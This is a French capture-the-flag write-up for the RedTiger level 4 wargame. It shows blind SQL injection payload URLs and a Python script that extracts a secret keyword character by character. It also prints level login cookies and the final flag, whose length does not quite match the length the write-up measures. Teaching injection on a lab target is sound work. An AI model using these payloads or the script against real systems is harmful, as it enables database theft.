Redtiger level 4

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level4.php

Cette épreuve se présente sous la forme d'une page présentant le nombre de résultats retournés par une requête MySQL. Ce résultat change en fonction du paramètre id de l'url : http://redtiger.labs.overthewire.org/level4.php?id=1.

Notre objectif ici est d'utiliser ce paramètre afin d'y injecter des payload qui devront nous permettre de savoir si la condition injectée est vraie ou fausse. Pour information, nous avons la colonne keyword et la table level4_secret où se situe le flag. Notre premier objectif ici est de trouver la longueur de la clé dans la colonne keyword. Pour ce faire, nous utiliserons la commande MySQL LENGTH qui retourne la longueur d'une chaîne. Nous combinons cela à une condition qui renverra 1 si elle est vraie et 0 si elle est fausse. C'est le principe d'une injection sql à l'aveugle https://www.owasp.org/index.php/Blind_SQL_Injection

http://redtiger.labs.overthewire.org/level4.php?id=1 and (select LENGTH(keyword) from level4_secret LIMIT 1)>1--
> TRUE
....
http://redtiger.labs.overthewire.org/level4.php?id=1 and (select LENGTH(keyword) from level4_secret LIMIT 1)>19--
> TRUE
http://redtiger.labs.overthewire.org/level4.php?id=1 and (select LENGTH(keyword) from level4_secret LIMIT 1)>20--
> FALSE

Notre payload nous informe donc que la clé a pour longueur 20 caractères.

Nous allons maintenant utiliser la même méthode mais pour en extraire les informations. Pour ce faire, nous utiliserons les commandes MySQL ascii et substring qui permettent respectivement de retourner le code ascii d'un caractère et de retourner le(s) caractère(s) à une position précise en fonction de ses paramètres. Nous utiliserons le payload suivant pour extraire les codes ascii des lettres de la chaîne en question. Dans cet exemple, nous proposons la condition suivante : Et si le premier caractère du premier élément de la table \level4\_secret a un code ASCII supérieur à 97 (Nb: 97 correspondant au caractère a).

http://redtiger.labs.overthewire.org/level4.php?id=1 and ascii(substring((SELECT keyword from level4_secret limit 0,1),1,1))>1--
>TRUE
....
http://redtiger.labs.overthewire.org/level4.php?id=1 and ascii(substring((SELECT keyword from level4_secret limit 0,1),1,1))>97--
>TRUE
....
http://redtiger.labs.overthewire.org/level4.php?id=1 and ascii(substring((SELECT keyword from level4_secret limit 0,1),1,1))>106--
> TRUE
http://redtiger.labs.overthewire.org/level4.php?id=1 and ascii(substring((SELECT keyword from level4_secret limit 0,1),1,1))>107--
> FALSE

Le code ASCII est incrémenté jusqu'à ce qu'un changement dans le nombre de lignes renvoyé est indiqué. Nous en déduisons donc que le premier caractère est la lettre k (107). Afin d'automatiser cette longue exploitation nous avons scripter un programme en python pour faire le travail à notre place; voici le code source:

#!/usr/bin/env python
#Blind SQL injection Exploit
#Author : nico
import requests
print """
#####################################################
#
Blind SQL injection
#
#
Author nico
#
#####################################################
"""
def getLength():
	cookies = {
		'level3login':'feed_your_cat_before_your_cat_feeds_you',
		'level2login':'4_is_not_random',
		'level4login':'there_is_no_bug'
	}
	for i in range(16,40):
		parametres = {'id': '1 and if((select length(keyword))>'+str(i)+',1,0)-- '}
		r = requests.get("http://redtiger.labs.overthewire.org/level4.php",
		params=parametres, cookies=cookies)
		s = r.text
		if s.find("1 rows") == -1:
			print "Test length :"+str(i)+" -- string: '1 rows' is not found"
			return i
		else:
			print "Test length :"+str(i)+" -- string: '1 rows' found"

def blind(length):
	cookies = dict(level4login='dont_publish_solutions_GRR%21')
	value=""
	for pos in range(1,length+1):
		for char in range(32,127):
			parametres = {'id': '1 and ascii(substring((SELECT keyword),'+str(pos)+',1))>'+str(char)+'-- '}
			r = requests.get("http://redtiger.labs.overthewire.org/level4.php",params=parametres, cookies=cookies)
			s = r.text
			if s.find("1 rows") == -1:
				print "Test pos : "+str(pos)+" -- character : "+chr(char)+" -- string: '1rows' is not found"
				value=value+chr(char)
				break
			else:
				print "Test pos : "+str(pos)+" -- character : "+chr(char)+" -- string: '1rows' found"

	return value

if __name__ == '__main__':

	length = getLength()
	value = blind(length)
	print "Reponse:"+str(value)

Ce script nous a testé toutes les conditions permettant de retrouver le flag : blindinjection123 killstickswithbr1cks!.